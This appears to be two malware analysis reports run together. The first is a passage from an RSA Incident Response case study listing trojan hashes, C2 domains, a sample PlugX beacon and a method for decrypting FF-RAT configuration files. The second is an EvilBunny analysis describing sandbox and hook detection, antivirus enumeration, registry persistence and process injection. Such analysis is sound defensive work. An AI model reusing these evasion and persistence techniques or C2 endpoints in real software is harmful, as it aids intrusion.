DerusbiAP32 - configuration file We can use decompress this file using utility appack.exe (390A7337B163B819CB99EABE0E8825A4) available at http://www.ibsensoftware.com/index.html.
The decompressed data is 1388 bytes (mostly NULLs).
The relevant data is shown below: 5.4 Trojan.
HiKiT RSA IR identified two malicious files that belong to a Trojan family that RSA IR refers to as Trojan.
HiKit.
This Trojan consists of two files: an executable file, and a configuration file.
The characteristics of the discovered Trojans are shown below: File Name Size MD5 Hash Compile Time C2 Nodes svchost.exe 177664 7D4F241428A2496142DF1C4A376CEC88 Feb 27 2012 07:13:30 UTC 206.205.82.9 netddesrv.exe 177664 A5F07E00D3EEF7A16ECFEC03E94677E3 Feb 27 2012 07:13:30 UTC drometic.suroot.com Table 5: Trojan.
Hikit - file details and C2 channels The configuration file named svchost.conf is obfuscated via a 4-byte XOR key.
The first four bytes of the file reveal the key.
In this case the key was: 0xFA2738CD.
The plaintext configuration data is shown below, the data in red was removed as it referenced the victim.
11 http://www.ibsensoftware.com/index.html RSA Incident Response Page 32 RSA Incident Response Case Study Figure 55: Trojan.
Hikit deobfuscated configuration file The second configuration file was obfuscated with XOR key: 0xCE6C2B25.
The file had these characteristics: File Name:  netddesrv.conf File Size:  456 bytes MD5:        d7367b3216856cef704e271034e237b5 SHA1:       d9ccbcab076e68a9f0f9a25697a07539397f8c95 5.5 Trojan.
FF-RAT RSA IR discovered several files that belong to a Trojan family that RSA IR refers to as Trojan.
FF-RAT.
Many of the discovered files have been legitimately digitally signed.
On certain systems, Trojan.
FF-RAT also contained a keystroke logger and a driver file.
Here are some artifacts regarding this Trojan: 1.
This Trojan consisted of at least a DLL file (which always had a .dat extension) and a configuration file, which was always found under: C:\Windows\Media\Windows Config.wav.
Both 32bit and 64bit versions were deployed.
2.
The configuration file is obfuscated, and then decompressed.
See Apendix I for details on how to decrypt this file.
3.
On certain systems a driver named fstab.sys existed in memory only.
4.
The keystroke loggers were always named [RANDOM]_kl.dll, and a new file is created after each reboot.
The old files are not deleted.
The keystrokes are stored on a file named iismgr.dat, which was located in the same directory as the DLL.
The data in the iismgr.dat is obfuscated via a single byte XOR key: 0xC2.
All digital certificates were issued by: Thawte Code Signing CA  G2.
The characteristics of the malicious files belonging to this Trojan family are shown below: Trojans with signer name: Xuzhou Chenji Technology Co.,Ltd Certificate Serial Number: 19ce1672107145e06fdc45fa2b753f0b File Name Size MD5 Hash Compile Time Signing Time whwbedqu_kl.dll 116320 DB4A20526588360962703145C32E743E Dec 03 2012 08:20:05 UTC May 13 2013 1:25:22 AM rmwpnwad_kl.dll 108128 5E287819699278CEFB490B0D7E768CED Dec 03 2012 08:18:42 UTC May 13 2013 1:25:24 AM nullods.dat 65464 8C3A13CFF4797A4E74988D05FDD8C287 Dec 28 2012 07:59:48 UTC Not available nullods.dat 169400 0CEB4CC3665E1190E0FA00FB7153AC22 Dec 28 2012 07:59:18 UTC Not available frtest.dat 172128 CC6999FB9174F2FE0564428EC7F92525 Dec 28 2012 07:59:18 UTC Jan 09 2013 4:19:33 AM frtest.dat 68192 C41A3CB0E7ACCA1AC434F65FB518E58B Dec 28 2012 07:59:48 UTC Jan 09 2013 4:19:15 AM Kqizbmwzopzbqva g.kqi 204384 41ED24E665759992130BF4C08B5F532E Jul 25 2012 06:41:30 UTC Sep 24 2012 10:10:57 AM Table 6: Trojan.
FF-RAT - file details RSA Incident Response Page 33 RSA Incident Response Case Study Trojans with signer name: Binzhou XinPin Technology Co.,Ltd.
Certificate Serial Number: 391e363ec82ad7613db478c178180e8b File Name Size MD5 Hash Compile Time Signing Time rvtest.dat 181352 9985668A2F401A4EDE85918A5D417409 Jul 10 2013 05:36:44 UTC Aug 28 2013 9:43:57 PM frkeser.dat 181352 B76A3595523E6050C4034294257323CA Jul 10 2013 05:36:44 UTC Jul 28 2013 1:38:56 AM frkeser.dat 72296 939587C6CEB084273B424D982C52AC5A Jul 10 2013 05:36:27 UTC Jul 28 2013 1:38:01 AM fmconull.dat 181352 DB35A3A80BD62EFF91EAD4A2046D26A5 Jul 10 2013 05:36:44 UTC Jul 15 2013 2:31:46 AM fmconull.dat 72296 92E9F1FB37EE75415235C4E567DE0F1B Jul 10 2013 05:36:27 UTC Jul 15 2013 2:31:25 AM x8.txt 127592 838B97B916CA2A8A9855D8257A6826E7 Jul 10 2013 05:36:31 UTC Jul 15 2013 2:31:40 AM Table 7: Trojan.
FF-RAT - file details Trojans with signer name: Hangzhou Degou Information Technology Co.,Ltd.
Certificate Serial Number: 64477c85f26c2ca67d76468434263e0e File Name Size MD5 Hash Compile Time Signing Time bxevkwcb_kl 86192 90bfea7038a8a25e1e70ba76291b2016 Jan 11 2012 09:51:40 UTC Jan 16 2012 2:54:16 AM Table 8: Trojan.
FF-RAT - file details Trojans with signer name: Henan Lvcheng Tianxia Information Technology Co.,Ltd Certificate Serial Number: 06b587cdb256cd4224baa55eb3ff2a98 File Name Size MD5 Hash Compile Time Signing Time frtest.dat 191640 B8DF0D1A8EC15C40692D507E62F9EE80 Mar 20 2012 04:05:37 UTC Aug 7 2012 5:31:40 AM frtest.dat 80096 705EBCFCE803D3FB69F409BABAF1376E Mar 20 2012 04:05:05 UTC May 31 2012 6:02:20 AM Table 9: Trojan.
FF-RAT - file details Unsigned Trojan.
FF-RAT files File Name Size MD5 Hash Compile Time Signing Time ngpqdasi_kl.dll 101376 071B2A2CF343A62EC7C75592362593BC Dec 03 2012 08:18:42 UTC N/A lcruhypy_kl.dll 109568 E36DA01D2C47C308CDA5AF49272F3FBD Dec 03 2012 08:20:05 UTC N/A fmnonull.dat 61440 B7F87AF5AFF0A68DE408B112A5A95049 Dec 28 2012 07:59:48 UTC N/A fmnonull.dat 165376 21C5FC01CED8B327A6AC1F31B90C525B Dec 28 2012 07:59:18 UTC N/A Table 10: Trojan.
FF-RAT - file details All the C2 domains related to this Trojan resolved to the same IP address 198.55.120.222 at the time of the engagement.
Overall the following domain names were used by Trojan.
FF-RAT: mno80.dwy.cc fan025.yahoolive.us pcal2.dwy.cc pcal2.yahoolive.us mno995.dwy.cc fan080.yahoolive.us 3h01.dwy.cc RSA Incident Response Page 34 RSA Incident Response Case Study 5.6 Trojan.
PlugX RSA IR identified another malicious file that it refers to as Trojan.
PlugX.
This Trojan is well documented in the security community and has several capabilities including uploading/downloading files, executing commands, and listing processes.
Here are the characteristics of the files related to this Trojan family: File Name Size MD5 Hash Compile Time C2 Nodes/Notes b.exe 366734 3BC77F178ACC60A47106834658E78BCF Feb 20 2011 08:19:48 UTC Self-extracting executable iehelper.exe 14608 288B1C32B3B951C79E78F764DD1B08F8 Jun 17 2012 07:51:16 UTC Sandboxie L.T.D loader file.
sbiedll.dll 181760 86D7F18C89CEFE4C43DB9F38755CC33D May 17 2013 09:38:58 UTC Sandboxie L.T.D file.
helper.url 113874 1F8F685815648E3308EA096C1367BA27 N/A Obfuscated and compressed code [final.dll] 154112 35958c670840819889f18a69db72ac3b Oct 17 2012 08:33:02 UTC dns2.ipv6do.com up.outhmail.com Table 11: Trojan.
PlugX - file details and C2 channels File b.exe, which is a self-extracting file, is the dropper for this variant of Trojan.
PlugX.
The archive contains three files iehelper.exe, sbiedll.dll, and helper.url.
The first two files are loaders for the third file, which is obfuscated shellcode.
The two loader files iehelper.exe (which is signed by SANDBOXIE L.T.D) and sbiedll.dll are files used by Sandboxie, an isolated operating environment, which attempts to protect users from malicious programs.
The iehelper.exe file will load and start the shiedll.dll, which injects the code contained in helper.url into a running process.
After the iehelper.exe and sbiedll.dll files have been executed, the data from the helper.url file will be injected into a running process.
The helper.url file contains raw shell code, which has two layers of obfuscation.
The first layer of deobfuscation starts with XORing 113842 bytes of data in helper.url with the 0xC0.
The second stage of deobfuscation is more complex, involving a series of mathematical operations on the data, as well as decompressing a portion of the data of helper.url using RTLDecompressBuffer API call.
Once these steps are performed a DLL file is produced (given the name final.dll) which is the actual Trojan.
PlugX file.
This Trojan has been configured to beacon out to dns2.ipv6do.com and up.outhmail.com.
Here is a sample beacon from this Trojan: POST /update?id000f7578 HTTP/1.1 Accept: / X-Session: 0 X-Status: 0 X-Size: 61456 X-Sn: 1 User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 5.1 .NET4.0C .NET4.0 E .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022) Host: dns2.ipv6do.com Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache 5.7 Trojan.
Gh0st RSA IR identified remnants of what it refers to as Trojan.
Gh0st.
One of the variants was digitally signed, but the certificate is no longer valid.
Both variants consisted of a separate configuration file that contained the C2 information.
All recovered configuration files contained the same C2 node: ru.pad62.com.
Malware analysis shows the Gh0st magic string Drag0n in its initial beacon in network traffic.
RSA Incident Response Page 35 RSA Incident Response Case Study Figure 56: Trojan.
Gh0st magic string Trojans with signer name: Shanghai Qiangwang Technology Co., Ltd Certificate Serial Number: 027c0d1cecf1e7e82eb89fc3d5512613 File Name Size MD5 Hash Compile Time Signing Time [Omitted]x.exe 156161 C2E664463269D9A4E5E1F201DA867E0F Apr 03 2012 09:59:50 UTC Jun 4 2012 1:17:57 AM 6to4adv.dll 113264 4E5C58E519AF4DB9CD444350A4241D5A Jul 07 2012 05:01:37 UTC Jul 07 2012 12:23:03 AM BusMgr.sys 30192 284295406F74C7831AA58EF46F3AD10B Jun 27 2012 14:43:21 UTC Jul 07 2012 8:59:31 AM Table 12: Digitally Signed Trojan.
Gh0st file details Unsigned Trojan.
Gh0st files File Name Size MD5 Hash Compile Time Notes MSODBC.dll 51232768 2F08BFF22FD8F3D264AE72BBC4EF7AD9 May 15 2012 06:24:15 UTC Artificially increased size msodbc.dll 32768 1F206932514C3ADDC94160F27170AC7F May 15 2012 06:24:15 UTC Actual PE size Table 13: Unsigned Trojan.
Gh0st file details 5.8 Trojan.
PoisonIvy RSA IR discovered two active variants of PoisonIvy.
This Trojan is well documented in the security community and has several capabilities including uploading/downloading files, executing commands, and listing processes, observe/control the users GUI, keystroke logging, etc.
Here are the characteristics of the files related to this Trojan family: File Name Size MD5 Hash Compile Time C2 Nodes/Notes dbServer.exe 32768 8adcbec6614fdcb297311e7dd5dc3de3 Apr 27 2013 13:50:00 UTC Loader res.db 22528 981ebda6cf315af63ed46e2a367c0b2b N/A Obfuscated DLL Decryp_res.db 22538 bd864c39cb8118356b061f4843a39add Apr 27 2013 13:37:59 UTC Decrypted version of res.db memshare.dat 7099 4aefaac9f96c01398ad96ebe8ad5c5f3 N/A Obfuscated code timebios.dll 20448 18f55f3533101f8c0dce96c070d22736 Jan 28 2013 10:14:25 UTC Loader share.dat 6710 561130a9d3e483b397ff12e8dd3a1a32 N/A Obfuscated code Table 14: Trojan.
PoisonIvy - file details The PoisonIvy password chosen for both of these samples of PoinsoIvy was: 15911117665.
Both samples beacon out to: 2012jg.sony36.com.
The communication protocol did not deviate from the standard PoisonIvy protocol that is also publicly available.
In fact the publicly available PoisonIvy server will interact with a system infected with this Trojan.
Below is the configuration information in memory that shows the PoisonIvy C2 node and the password: Figure 57: Trojan.
PoisonIvy - Memory snippet containing password RSA Incident Response Page 36 RSA Incident Response Case Study Here is a screenshot from the PoisonIvy server after a system infected with this Trojan.
PoisonIvy connected to it: Figure 58: PosionIvy server side RSA Incident Response Page 37 RSA Incident Response Case Study 6.
Conclusion This case study shows the typical flow of an investigation using ECAT and Security Analytics, which give RSA IR the visibility needed to successfully and efficiently investigate intrusions with the intent of successful remediation.
Only with full network and endpoint visibility can investigators ensure theyve identified all malware deployed or C2 channels used by an adversary.
Additionally, this visibility is critical after remediation of the intrusion, as APT adversaries will try to reenter the environment.
Most APT groups are politically or economically motivated, state sponsored, highly skilled, and therefore capable of sustaining long-term campaigns against their intended targets.
By having proper visibility over the network you will be able to proactively identify new infections and more rapidly remediate them, reducing your exposure and the adversarys opportunity to steal or manipulate more data.
Traditional forensics, a.k.a dead-box forensics, is not suitable for the nature of todays intrusions because it is too slow and a very reactive process.
An RSA IR analyst can triage a remote system in 10  20 minutes and without affecting the endpoint.
A traditional forensic process will not even have an image acquired in that time, not to mention the user disruption.
While other defense mechanisms such as perimeter controls and education of users are extremely important at preventing an intrusion, the next line of defense is quick detection of malicious activity once prevention fails.
It is this proactive approach at reviewing both network traffic and endpoints for signs of malicious activity that gives companies the best chance at quickly identifying malicious activity.
ECAT cuts down the analysis time by allowing analysts to whitelist files that have already been analyzed or are trusted, focusing the analysis on only new files that appear on the endpoints.
Furthermore, ECAT uses a variety of techniques to distinguish between suspicious and normal activity in both memory and on disk, enabling the analyst to focus on the most suspicious activity.
ECATs ability to process Yara signatures is also an extremely useful feature that not only allows a company to incorporate their own intelligence into the product, but also import signatures from other intelligence groups that share these signatures.
Lastly, ECAT allows the analyst to quickly triage endpoints by analyzing their MFTs.
As has been illustrated in many examples in this report, whenever a malicious artifact is found in a system, a quick triage is necessary because it can reveal many other artifacts such as signs of data exfiltration and remnants of older Trojans.
Security Analytics complements ECAT by allowing the analyst to look for anomalies in the communication protocols used by malware, or if the C2 channels are dormant, by identifying beaconing behavior.
This is a very powerful approach that nets many of the C2 channels in an incident.
RSA Incident Response Page 38 RSA Incident Response Case Study 7.
Appendix I Trojan.
FF-RAT consists of a configuration file that in this case was always found under: C:\Windows\Media\Windows Config.wav.
This configuration file is RC4 encrypted and aPACK compressed.
This section will demonstrate how an analyst can decrypt and decompress this file to reveal the configuration information.
First we need to understand the structure of an aPACK compressed file.
So, we start with a test file that we compress using the appack.exe12 utility.
Figure 59: Plaintext file Next we use the appack.exe utility to compress this file by running: appack.exe c test.txt test.ap32.
The aPACK compressed file consists of the following structure: - 1st DWORD  aPACK magic header - 2nd DWORD  Total Header length (i.e.
the first 6 DWORDs) - 3rd DWORD  Length of compressed data - 4th DWORD  CRC32 hash of compressed data - 5th DWORD  Length of decompressed data - 6th DWORD  CRC32 hash of decompressed data - The rest of the bytes are the compressed data.
This structure is depicted below: Figure 60: aPACK file structure Now we go back to a sample Windows Config.wav file.
This file has the following structure: - 1st DWORD  Hardcoded value (0x19860609), which may represent a date, that is, YYYYMMDD or YYYYDDMM.
-
2nd DWORD  Obfuscated RC4 key.
De-obfuscated by XOR-ing with 1st DWORD.
-
3rd DWORD  NULLs - 4th DWORD  Same hardcoded value as 1st DWORD.
-
5th DWORD  Length of compressed data - 6th DWORD  Length of decompressed data.
12 http://www.ibsensoftware.com/files/aPLib-1.01.zip RSA Incident Response Page 39 RSA Incident Response Case Study - The rest of the data is aPACK compressed and RC4 encrypted (offset 0x18  end) This structure is demonstrated below: Figure 61: Trojan.
FF-RAT configuration file structure The RC4 key is derived by XOR-ing the first two DWORDs.
In this case: 0x19860609 XOR 0x19865733  0x0000513A.
The Trojan then prints the ASCII version of 0x0000513A, so essentially our RC4 key is 64-bits long as shown below: Figure 62: Trojan.
FF-RAT RC4 key example So using RC4 key 0x3030303035313341 we now decrypt the data in the Windows Config.wav file starting at file offset 0x18 until the end.
The decryption operation results in this data: Figure 63: Trojan.
FF-RAT RC4 decrypted configuration file RSA Incident Response Page 40 RSA Incident Response Case Study The RC4 decrypted data is aPACK compressed but without the header.
We actually do have all the pieces of the header except one: the CRC32 of the decompressed data.
Lets list the structure of the aPACK compressed file to demonstrate by referencing figure 61: - 1st DWORD  AP32 (we can create this ourselves) - 2nd DWORD  Length of the header (we can create this ourselves, i.e.
0x18000000) - 3rd DWORD  Length of compressed data (we have this from the configuration file figure 62 (i.e.
0xBE000000)) - 4th DWORD  CRC32 of compressed data (we can calculate this ourselves since we have the data) - 5th DWORD  Length of decompressed data (we have this from the configuration file figure 62 (i.e.
0xC0060000)) - 6th DWORD  CRC32 of decompressed data (we have no way of knowing or calculating this since we do not have the decompressed data) So, we are missing one critical piece of information, namely the CRC32 hash value of the decompressed data, and there is no way of generating or knowing this in advance since we are trying to decompress the data.
Lets put an aPACK header together with the information we have along with the data we decrypted (figure 64), and add NULLs for the 6th DWORD since we do not have this information: Figure 64: RC4 decrypted configuration file with manually generated aPACK header When we execute the appack.exe tool to decompress this file we get an error message: Figure 65: appack.exe error message RSA Incident Response Page 41 RSA Incident Response Case Study It is obvious that the appack.exe utility is throwing this error because the CRC32 of the decompressed data does not match what it calculates after it is done decompressing the file.
So, we need to get around this error by identifying and modifying the code in appack.exe where this CRC32 hash check is made in order to make the utility continue executing regardless of whether the CRC32 hash of the decompressed data matches what is on the header.
A little debugging of this tool leads us to the code responsible for this CRC32 check.
The code is shown below: Figure 66: Disassembly of appack.exe At address 0x00402C09 we see a conditional jump-if-equal (JE), which means that if the CRC32 hash of the decompressed data matches the value of the 6th DWORD in the header, the jump will be taken.
We can modify the code of this utility to make the jump here unconditional (JMP) thus make the utility think that the CRC32 check is always successful.
We can permanently patch the appack.exe file by using a Hex editor and changing byte 0x74 with 0xEB.
This particular instruction is located at file-offset 0x2009 as shown below: Figure 67: Patching appack.exe Now, when we execute this patched version of appack.exe we successfully decompress any Trojan.
FF-RAT configuration file: RSA Incident Response Page 42 RSA Incident Response Case Study The relevant parts of the decrypted configuration file are shown below: Figure 68:RC4 decrypted and aPACK decompressed Trojan.
FF-RAT configuration file
page  1 EVIL BUNNY: SUSPECT 4 SAMPLE DETAILS Dropper MD5 c40e3ee23cf95d992b7cd0b7c01b8599 SHA-1 1e8b4c374db03dcca026c5feba0a5c117f740233 File Size 943.5 KB (966144 bytes) Compile Time 2011-10-25 19:28:00 Suspect 4 MD5 3bbb59afdf9bda4ffdc644d9d51c53e7 SHA-1 1798985f4cc2398a482f2232e72e5817562530de File Size 773.5 KB (792064 bytes) Compile Time 2011-10-25 19:28:39 Marion Marschalek (marion0x1338.at), 16th of October 2014 BCC0 7607 2FFA BCA8 9048 D648 D169 73AF F372 F2CA The EvilBunny attacks have been presented at Hack.lu Conference 2014 in Luxembourg (http://2014.hack.lu/index.php) This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
page  2 http://creativecommons.org/licenses/by-nc-sa/4.0/ CONTENTS 1.
THE BUNNY DROPPER..............................................................................4 2.
SUSPECT 4...............................................................................................7 2.1 MALWARE ANTI-ANALYSIS..................................................................7 2.1.1 ENUMERATION OF FIREWALL AND ANTIVIRUS PRODUCTS... .9 2.2 SYSTEM INFILTRATION......................................................................10 2.3 CONFIGURATION AND COMMAND  CONTROL SETTINGS...........10 2.4 THE MULTI-THREADING MODEL.......................................................12 2.4.1 PERFORMANCE MONITORING...................................................13 2.4.2 THE BACKFILE LAUNCHING THREAD........................................14 2.4.3 THE HEARER THREADS..............................................................14 2.5 CC COMMAND PARSING.................................................................15 2.6 LUA ENGINE INTEGRATION...............................................................17 3.
EVIL BUNNY IN THE SPOTLIGHT............................................................20 4.
ACKNOWLEDGEMENTS..........................................................................22 5.
RESOURCES............................................................................................23 6.
APPENDICES............................................................................................24 page  3 1.
THE BUNNY DROPPER Suspect 4 is the fourth out of a row of malware samples, which are believed to stem from the same malicious actor.
Insights on the campaign were first presented at Hack.lu Conference 2014 in Luxembourg [8].
The name EvilBunny is derived from a link to debug information embedded in the dropper binary of suspect 4.
The path to the associated .pdb-file contains the name of the project and sub project, namely bunny 2.3.2 and Transporter2.
EvilBunny has been seen spreading through a malicious PDF document, exploiting CVE- 2011-4369 on 20th of December 2011 [1].
The exploit would download the bunny dropper and install suspect 4 on the infected system.
Both, dropper and payload were compiled on 25th of October 2011, while CVE-2011-4369 was released only on 16th of December.
It is unclear as of when the attacks started although, clearly, either the attackers adopted the vulnerability within 4 days or the attacks were performed using an AdobeReader 0-day.
The functionality of the dropper can be summarized in the following steps: Sandbox check and anti virus product enumeration Dropping payload netmgr.exe Creating a registry key for persistence Creating a registry key for deletion of the dropper Searching for a sandbox environment, the malware takes a number of simple steps to verify.
It tests the module file name to see if it is less than 5 characters long or if it contains either of the four strings klavme, myapp, TESTAPP or afyjevmv.exe.
Also, it verifies if less than 15 processes are running in the environment, using the API call EnumProcesses.
page  4 Illustration 1: IDA Pros request for the associated .pdb-file In case any of the conditions is met execution will abort.
Up to the time of writing it remains unclear which environment the mentioned strings aim to identify, if any.
Accessing the systems WMI (Windows Management Interface) the malware queries the installed AntiVirus software by issuing SELECT  FROM AntiVirusProduct.
More specifically, the malware is interested in the data fields productUptoDate, VersionNumber, DisplayName and productState.
The information about AntiVirus provided by WMI differs between Windows versions, so the requests address different namespaces, ROOT\SecurityCenter for WindowsXP and ROOT\SecurityCenter2 for Windows Vista and newer versions.
Names of AntiVirus products are represented as hard coded SHA-256 hashes, namely the following: d4634c9d57c06983e1d2d6dc92e74e6103c132a97f8dc3e7158fa89420647ec3 4db3801a45802041baa44334303e0498c2640cd5dfd6892545487bf7c8c9219f bfe74ca464620a62f11b8c47a3778bb132d84fecd90ce7c75817970f2eeeca51 Antivirus 443b6fb65fa57d57ee3113e48e9b4ed1db2921d5352e27fa85064cd60553c3ff BitDefender e1625a7f2f6947ea8e9328e66562a8b255bc4d5721d427f943002bb2b9fc5645 588730213eb6ace35caadcb651217bfbde3f615d94a9cca41a31ee9fa09b186c f1761a5e3856dceb3e14d4555af92d3d1ac47604841f69fc72328b53ab45ca56 Kaspersky Only three of the seven hashes were identified.
If any of the indicated products is installed and active on the machine execution will abort.
The dropper comes with its payload attached in the resource section.
The resource RCData contains the entire netmgr.exe binary alleged suspect 4.
The binary is dropped as netmgr.exe, either located in APPDATA\Perf Manager\ or WINDIR\msapps\.
The final directory location depends whether the dropper is running with administrative privileges or not.
Interestingly, the dropper also changes the creation time stamp of the newly created binary to time stamp of the system executable explorer.exe.
This serves to avoid raising suspicion of a forensic analysts or tools.
As a means of persistence the dropper creates an entry under [HKLM HKCU]\...\CurrentVersion\Run which points to the dropped netmgr.exe binary.
This page  5 Illustration 2: The process count as environment check ensures that netmgr.exe will be executed every time the system boots.
Furthermore, the dropper generates another entry in the Windows registry, under [HKLM HKCU]\Software\Microsoft\IPSec.
This entry is named isakmpAutoNegociate and points to the dropper binary.
This key will be requested by netmgr.exe later to locate the dropper binary and delete it.
The naming of the key for cleanup of the dropper is chosen to confuse analysts, although the name is clearly misspelled.
Another interesting side fact is that the dropper does not start the dropped malware, neither does it contain code which could even do so.
This implies, the final infection stage does not start unless the infected machine is rebooted.
Also, the dropper binary will not be deleted in the meanwhile.
page  6 2.
SUSPECT 4 Suspect 4 was the fourth discovered sample in a row of malware related to the EvilBunny attacks even before its dropper.
Yet, it is by far the most interesting one.
It is a multi- threaded bot with an integrated scripting engine.
It incorporates a Lua engine and downloads and executes Lua scripts to reach a certain level of polymorphism.
The Lua scripts can call back into the C code to alter the malware behavior at runtime.
The malware seeks to keep a low profile on the infected machine, while executing the botmasters commands and Lua scripts.
In total Suspect 4 exhibits three different methods for receiving CC input and executing commands directly via HTTP, through a downloaded database file or as a scheduled task.
Also, the malware will generate numerous files to help its execution and frequently reply back to the CC with status messages.
The initial purpose of the malware seems to be sharing execution load among infected host machines.
However, due to the lack of the original Lua scripts and the extensive functionality of the embedded Lua engine the original intentions of the attackers remain unknown.
2.1 MALWARE ANTI-ANALYSIS Suspect 4 is written in C, and just like its dropper, it is not protected by any runtime packer or crypter.
It is, however, compiled with a performance optimization option which causes a lot of code in-lining and duplicate code in the binary.
Duplication also applies to string constants, as every string is present once per function, if the given function uses it.
This might accelerate execution speed of the bot at runtime, but implicitly or even on purpose hinders static analysis of the binary code.
Cross referencing of strings or helper functions is ineffective due to the duplications.
Only few anti-analysis measures can be found in the binary.
One function exists, which resembles the sandbox check of its dropper with minor extensions.
This sandbox detection consists of three parts: The module path name should be more than 5 characters long and contain either msapps\ or Perf Manager\, which is the case if the sample was legitimately dropped by its dropper.
The module file name should not contain either of the following strings: klavme, myapp, TESTAPP or afyjevmv.exe.
page  7 The function performs a hook detection on time retrieval APIs.
These are NtQuerySystemTime, GetSystemTimeAsFileTime and GetTickCount.
Every API is called twice to calculate a delta, while performing a sleep(1000) operation between iteration one and iteration two.
The final condition is, if any of the three deltas is below 998 milliseconds execution will abort.
This can only be the case if any of the three APIs return values is modified by a system monitoring solution, like a sandbox.
Another evasion trick implemented by the malware is the partial obfuscation of API names.
For no obvious reason though, the obfuscation algorithm is only applied to a small subset of APIs used in the code.
The algorithm uses the fixed value AB34CD77h and a combination of XOR and ROL instructions to calculate hashes from the export names of kernel32.dll, advapi32.dll and psapi.dll.
It is important to note that this obfuscation trick and the according hash function remain consistent through out all related samples.
page  8 Illustration 3: Hook detection on time retrieval functions Illustration 4: The API name hashing function 2.1.1 ENUMERATION OF FIREWALL AND ANTIVIRUS PRODUCTS Similar to its dropper, suspect 4 enumerates the systems installed AntiVirus product and checks firewall settings.
For AntiVirus detection it utilizes WMI and issues SELECT FROM AntiVirusProduct.
Identification of installed products is achieved by comparing the hashed product name to a set of SHA-256 hashes although, a different and much bigger set than used by its dropper.
With the help of hash tables from perturb.org and md5decoder.org it is possible to revert some of the hashes to their original text form: a48be88bed64eff941be52590c07045b896bc3e87e7cf62985651bbc8484f945   MAfee 1ba035db418ad6acc8e0c173a49d124f3fcc89d0637496954a70e28ec6983ad7 a7f9b61169b52926bb364e557a52c07b34c9fbdcd692f249cd27de5f4169e700 2bc42b202817bdab7d49506d291e3d9624ae0069087a8949c8fcb583c73772b1   Norton f7d9ea7f3980635237d6ea58048057c33a218f2670e0ff45af5f4f670e9aa6f4   Panda 522e5549af01c747329d923110c058b7bb7e112816de64bd7919d7b9194fba5b   Rising 4db3801a45802041baa44334303e0498c2640cd5dfd6892545487bf7c8c9219f d4634c9d57c06983e1d2d6dc92e74e6103c132a97f8dc3e7158fa89420647ec3 9e217716c4e03eee7a7e44590344d37252b0ae75966a7f8c34531cd7bed1aca7   Trend e1625a7f2f6947ea8e9328e66562a8b255bc4d5721d427f943002bb2b9fc5645 588730213eb6ace35caadcb651217bfbde3f615d94a9cca41a31ee9fa09b186c ab6ed3db3c243254294cfe431a8aeada28e5741dfa3b9c8aeb54291fddc4f8c3 b3fe0e3a3e3befa152c4237b0f3a96ffaa44a2d7e1aa6d379d3a1ab4659e1676   AntiVir 0d21bd52022ca7f7e97109d28d327da1e68cc0bedd9713b2dc2b49d3aa104392 c0ffcaf63c2ca2974f44138b0956fed657073fde0adeb0b1c940b5c45e8a5cab   avast 249a90b07ed10bd0cd2bcc9819827267428261fb08e181f43e90807c63c65e80   AVG b39be67ae54b99c5b05fa82a9313606c75bfc8b5c64f29c6037a32bf900926dd 4b650e5c4785025dee7bd65e3c5c527356717d7a1c0bfef5b4ada8ca1e9cbe17   CA c8e8248940830e9f1dc600c189640e91c40f95caae4f3187fb04427980cdc479 97010f4c9ec0c01b8048dbad5f0c382a9269e22080ccd6f3f1d07e4909fac1a5 aa0ad154f949a518cc2be8a588d5e3523488c20c23b8eb8fafb7d8c34fa87145 333e0a1e27815d0ceee55c473fe3dc93d56c63e3bee2b3b4aee8eed6d70191a3   G 977781971f7998ff4dbe47f3e1d679f1941b3237d0ba0fdca90178a15aec1f52   Jiangmin f1761a5e3856dceb3e14d4555af92d3d1ac47604841f69fc72328b53ab45ca56   Kaspersky The malware retrieves the attributes productState, DisplayName and on WindowsXP also productUptoDate.
It is noteworthy though, that for netmgr.exe the existence of any of the indicated AntiVirus products does not pose a reason to end execution.
In fact, these hashes are the only measure for obfuscating strings in the binary.
Firewall detection works equally via querying WMI through SELECT  FROM FirewallProduct, while this time the malware searches for the attributes enabled, VersionNumber and DisplayName.
AntiVirus and firewall information is stored in objects in a linked list at runtime.
It will later either be exfiltrated to a CC server directly or dumped to a local file on disk.
Either way, the results of this check do not influence the flow of execution.
page  9 2.2 SYSTEM INFILTRATION After start-up the malware aims to inject itself to an svchost.exe process.
For stealthiness the malware can either inject itself as a remote thread to a running svchost.exe process or perform the same procedure on a newly created one.
As a singular means of persistence the malware relies on the auto-start registry key created by its dropper under [HKLMHKCU]\...\CurrentVersion\Run, which will start netmgr.exe on every system boot.
Also, the payload retrieves the droppers path from isakmpAutoNegociate under [HKLM HKCU]\Software\Microsoft\IPSec, then deletes the binary and the isakmpAutoNegociate registry key.
2.3 CONFIGURATION AND COMMAND  CONTROL SETTINGS At start-up netmgr.exe decrypts a configuration file stored in its resource section, revealing three URLs, among timeout settings and encryption keys: http://le-progres.net/images/php/test.php?rec11206-01 http://ghatreh.com/skins/php/test.php?rec11206-01 http://www.usthb-dz.org/includes/php/test.php?rec11206-01 All three of these URLs served as CC contacts when the attack was still ongoing, sending commands or Lua scripts to the infected host.
Interesting is that two of the domains are actual fake domains resembling legitimate websites while one is a legitimate domain nowadays.
Le-progres.net could be easily confused with leprogres.fr, the official website of the Lyon news paper Le Progres.
Usthb-dz.org is remarkably similar to usthb.dz, the website of the University of Sciences and Technology Houari Boumediene in Algiers, Algeria.
The third domain though, ghatreh.com, is the legitimate address of an Iranian news website.
According to domaintools.com, this domain has been created in November 2004 while the last change happened in September 2012.
Also, domaintools.com reveals 14 unique IP addresses and 4 different registrars.
It is assumed that the domain has been dropped by the attackers in 2012 and picked up by legitimate operators.
page  10 The IP addresses of the domains in 2011, at a time when dropper, payload and CCs were still active, were 69.90.160.65, 70.38.107.13 and 70.38.12.10.
All three IPs are located in Canada, two relate to Montral, one to Oakville.
The complete passive DNS history can be reviewed in appendix A.
The binary also contains the URL http://1.9.32.11/bunny/test.php?recnvista, but the purpose of it remains unclear.
This IP address is never contacted by the malware.
